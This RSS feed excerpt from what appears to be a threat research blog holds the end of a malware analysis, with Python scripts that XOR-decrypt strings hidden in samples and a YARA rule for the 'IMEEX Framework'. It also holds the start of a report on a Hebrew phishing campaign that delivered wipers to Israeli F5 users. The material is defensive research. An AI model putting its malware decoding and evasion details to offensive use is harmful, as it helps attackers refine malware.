&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Decrypted string starts at offset 8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decrypted_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rstrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x00&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;latin1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Decrypt the string using XOR with 0xE6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decrypted_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xE6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;decrypted_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decrypted_string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; Main function to handle command-line arguments and execute the decryption.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Usage: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &amp;lt;path_to_executable&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Check if file exists&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;File &amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39; does not exist.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decrypt_and_store_in_buffer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decrypted_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Port: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Decrypted String: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;decrypted_string&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Decryption failed or validation failed.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Afghan Variant&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decode_hex_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex_string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Convert the hex string to a byte array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;byte_array&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# XOR each byte with 0xEC and decode to string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decoded_chars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xEC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;byte_array&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Join the characters to form the decoded string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decoded_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_chars&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;decoded_string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# The encoded hex value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;encoded_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;8E8E9F82899B9FC29F9598899FC28289&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Decode the value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;decoded_value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decode_hex_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Print the decoded string&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Decoded Value:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decoded_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Appendix C: YARA&lt;span class="hx:absolute hx:-mt-20" id="appendix-c-yara"&gt;&lt;/span&gt;
&lt;a href="#appendix-c-yara" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;import &amp;#34;pe&amp;#34;
rule IMEEX_Framework
{
meta:
desc = &amp;#34;Detect IMEEX Framework&amp;#34;
author = &amp;#34;Intezer&amp;#34;
last_modified = &amp;#34;11-09-2024&amp;#34;
hash = &amp;#34;3e25798da0232d9039e570fb34d4bdccf7f082fa38b486a097d954f5f3debab3&amp;#34;
strings:
/*
The code that loads the string //Global\4B59AFCC
*/
$s1 = {C7????47006C00C7????6F006200C7????61006C00C7????5C00}
/*
The code that loads the string: &amp;#34;Software\Microsoft\IMEEX&amp;#34;
*/
$s2 = {C7????68 53006F00 C7????6C 66007400 C7????70 77006100 C7????74 72006500 C7????78 5C004D00 C7????7C 69006300 C7458072 006F00C7 45847300 6F00C745 88660074 00C7458C 5C004900 C745904D 004500C7 45944500 5800}
$a1 = &amp;#34;server finished&amp;#34; ascii wide
$a2 = &amp;#34;extended master secret&amp;#34; ascii wide
$a3 = &amp;#34;client finished&amp;#34; ascii wide
$a4 = &amp;#34;SRVRCLNT\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
$a5 = &amp;#34;key expansion&amp;#34; ascii wide
$a6 = &amp;#34;SeDebugPrivilege&amp;#34; ascii wide
$a7 = &amp;#34;AES-256-ECB&amp;#34; ascii wide
$a8 = &amp;#34;AES-256-CTR&amp;#34; ascii wide
$a9 = &amp;#34;AES-256-CBC&amp;#34; ascii wide
$a10 = {fb fd fc fe}
condition:
pe.is_dll() and pe.is_64bit() and (all of ($s*) or 80% of ($a*))
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Operation HamsaUpdate: A Sophisticated Campaign Delivering Wipers Puts Israeli Infrastructure at Risk</title><link>https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/</link><pubDate>Wed, 20 Dec 2023 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/</guid><description>
&lt;p&gt;On December 19th, the Israel National Cyber Directorate released an
&lt;a href="https://www.gov.il/he/departments/publications/reports/alert_1687"target="_blank" rel="noopener"&gt;urgent alert&lt;/a&gt;
warning regarding a phishing campaign actively targeting Israeli customers
using F5&amp;rsquo;s network devices. We&amp;rsquo;ve labeled this campaign &lt;strong&gt;Operation
HamsaUpdate&lt;/strong&gt;. It features the deployment of a newly developed wiper malware
that targets both Windows and Linux servers. The campaign leverages a
convincingly written email in Hebrew and utilizes sophisticated social
engineering techniques, pressuring victims to execute the harmful code residing
on their servers. The final attack delivers a complex, multi-stage loader or a
destructive wiper, each variant customized for either Linux or Windows
environments.&lt;/p&gt;
&lt;p&gt;To help identify and combat this threat, the Israel National Cyber Directorate
has made public the Indicators of Compromise (IOCs) associated with this
campaign, including variants of the wiper malware. We&amp;rsquo;ve dubbed the Windows
variant &lt;strong&gt;&amp;lsquo;Hatef&amp;rsquo;&lt;/strong&gt; and the Linux variant &lt;strong&gt;&amp;lsquo;Hamsa&amp;rsquo;&lt;/strong&gt;. During our analysis, we
unearthed a second-stage loader coded in Delphi—which spearheads the execution
of an AutoIt injector. This injector has been given the name &lt;strong&gt;&amp;lsquo;Handala&amp;rsquo;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The following blog post presents a detailed technical examination of the
various threats contained within the Operation HamsaUpdate.&lt;/p&gt;
&lt;h2&gt;Infection Vector: Phishing Email&lt;span class="hx:absolute hx:-mt-20" id="infection-vector-phishing-email"&gt;&lt;/span&gt;
&lt;a href="#infection-vector-phishing-email" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The attack is initiated with a cleverly crafted phishing email that stands out
for its impeccable Hebrew, free of the typical misspellings or grammatical
errors often seen in such schemes. The email&amp;rsquo;s content showcases a
sophisticated level of social engineering, creating a compelling sense of
urgency that is highly persuasive to the recipient.&lt;/p&gt;
&lt;p&gt;Central to the attackers&amp;rsquo; strategy is adopting a phishing theme that exploits
the recent vulnerability discovery in F5&amp;rsquo;s BIG-IP platform. BIG-IP represents an
advanced iteration of Application Delivery Controller (ADC) technology and is
integral to many organizations&amp;rsquo; network infrastructures. The email convincingly
warns the victim that this critical vulnerability has led to a compromise
within their organization. It presses the urgency of the matter, imploring the
recipient to take immediate action by adhering to the directives enclosed in
the email.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig1.png" title="Screenshot of the phishing email published by the Israel National Cyber Directorate." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screenshot of the phishing email published by the Israel National Cyber Directorate.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In a detailed and deceptive request, the victim is instructed to run a specific
file across all their Linux and Windows servers, explicitly including backup
and even localized servers, to address the issue ostensibly. For Linux servers,
the email cunningly guides the victim in utilizing root privileges to execute a
&lt;code&gt;wget&lt;/code&gt; command. Meanwhile, Windows server administrators are instructed to open
and execute an attached archive ZIP file.&lt;/p&gt;
&lt;p&gt;By leveraging a well-known and trusted platform&amp;rsquo;s vulnerability and employing
highly convincing communication, the attackers demonstrate advanced tactics
designed to manipulate their targets into unknowingly compromising their own
network&amp;rsquo;s security.&lt;/p&gt;
&lt;h2&gt;Hacktivism?&lt;span class="hx:absolute hx:-mt-20" id="hacktivism"&gt;&lt;/span&gt;
&lt;a href="#hacktivism" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;A group calling itself &amp;ldquo;Handala Hack Team&amp;rdquo; has claimed responsibility for
recent cyber attacks. They present themselves as a newly formed pro-Palestinian
activist group, yet their identity behind the social media profiles remains
uncertain. Handala Hack has set up various social media accounts, including on
Telegram, Tox, Twitter, and BreachForums, and has also launched their own
website, which is currently incomplete. As they reported the attacks in
real-time, they also mocked the Israel National Cyber Directorate (INCD). Their
website&amp;rsquo;s purpose is still unclear, but it may be intended for publicizing
information about hacked targets.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig2.png" title="Hadala Hack Team website." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hadala Hack Team website.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig3.png" title="Posts on social media by Handala Hack Team." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Posts on social media by Handala Hack Team.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The group appears to be targeting social media to gain attention for their
activist hacking. They have produced a video and are actively tagging Israeli
news agencies, influencers, and figures in the cybersecurity industry. Their
posts are being shared on all their social media platforms.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig4.png" title="The video created by Handala Hack Team." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The video created by Handala Hack Team.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The group sent an email to Twitter influencer
&lt;a href="https://twitter.com/DailyDarkWeb/status/1737448749461328216/photo/2"target="_blank" rel="noopener"&gt;@DailyDarkWeb&lt;/a&gt;
claiming that they targeted Israeli government entities, destroying 10TB of
data. No evidence has been provided yet for these claims.&lt;/p&gt;
&lt;p&gt;Besides the group&amp;rsquo;s claims, &lt;strong&gt;we can&amp;rsquo;t make attribution since there is
insufficient evidence&lt;/strong&gt;. Moreover, there&amp;rsquo;s a known tactic where false activist
personas are crafted to imply that independent activists, rather than
government organizations, are behind cyberattacks.&lt;/p&gt;
